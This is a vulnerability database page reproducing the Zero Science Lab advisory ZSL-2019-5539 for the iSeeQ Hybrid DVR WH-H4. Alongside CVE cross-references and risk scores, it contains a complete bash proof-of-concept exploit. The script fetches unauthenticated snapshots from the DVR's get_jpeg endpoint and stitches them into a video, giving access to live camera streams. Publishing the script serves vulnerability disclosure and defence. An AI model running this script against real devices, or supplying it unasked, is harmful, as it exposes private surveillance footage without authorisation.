iSeeQ Hybrid DVR WH-H4 1.03R / 2.0.0.P (get_jpeg) Stream Disclosure

🗓️ 29 Oct 2019 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 280 Views

iSeeQ Hybrid DVR WH-H4 1.03R / 2.0.0.P (get_jpeg) Stream Disclosure. Unauthenticated live stream disclosure vulnerability in iSeeQ hybrid standalone DV

Reporter	Title	Published	Views	Family All 8
Circl	CVE-2019-25236	24 Dec 202520:55	–	circl
CNNVD	iSeeQ Hybrid DVR WH-H4 安全漏洞	24 Dec 202500:00	–	cnnvd
CVE	CVE-2019-25236	24 Dec 202519:27	–	cve
Cvelist	CVE-2019-25236 iSeeQ Hybrid DVR WH-H4 1.03R Unauthenticated Live Stream Disclosure	24 Dec 202519:27	–	cvelist
EUVD	EUVD-2025-205312	24 Dec 202521:30	–	euvd
NVD	CVE-2019-25236	24 Dec 202520:15	–	nvd
Positive Technologies	PT-2025-53322	24 Dec 202500:00	–	ptsecurity
Vulnrichment	CVE-2019-25236 iSeeQ Hybrid DVR WH-H4 1.03R Unauthenticated Live Stream Disclosure	24 Dec 202519:27	–	vulnrichment

<html><body><p>#!/bin/bash
#
#
# iSeeQ Hybrid DVR WH-H4 1.03R / 2.0.0.P (get_jpeg) Stream Disclosure
#
#
# Vendor: iSeeQ
# Product web page: http://www.iseeq.co.kr
# Affected version: WH-H4 1.03R / 2.0.0.P
#
# Summary: The 4/8/16 channel hybrid standalone DVR delivers high quality
# pictures which adopts high performance video processing chips and embedded
# Linux system. This advanced video digital platform is very useful to identify
# an object from a long distance.
#
# Desc: The DVR suffers from an unauthenticated and unauthorized live stream
# disclosure when get_jpeg script is called.
#
# Tested on: Boa/0.94.13
#            PHP/7.0.22
#            DVR Web Server
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2019-5539
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5539.php
#
#
# 28.10.2019
#


if [ "$#" -ne 2 ]; then
    echo "Usage: $0 IP:PORT CHANNEL"
    exit
fi
IP=$1
CHANNEL=$2
HOST="http://$IP/cgi-bin/get_jpeg?ch=$CHANNEL"
STATUS=$(curl -Is http://$IP/cgi-bin/php/login.php 2&gt;/dev/null | head -1 | awk -F" " '{print $2}')
if [ "$STATUS" == "404" ]; then
    echo "Target not vulnerable!"
    exit
fi
echo "Collecting snapshots..."
for x in {1..10};
    do echo -ne $x
    curl "$HOST" -o seq-$x.jpg -#;
    sleep 0.8
    done
echo -ne "\nDone."
echo -ne "\nRendering video..."
ffmpeg -t 10 -v quiet -s 352x288 -r 1 -an -i seq-%01d.jpg -c:v libx264 -vf fps=10 -pix_fmt yuvj422p clip.mp4
echo " done."
echo -ne "\nRunning animation..."
sleep 1
cvlc clip.mp4 --verbose -1 -f vlc://quit
</p></body></html>

29 Oct 2019 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 48.7

CVSS 3.19.8

EPSS0.00096

SSVC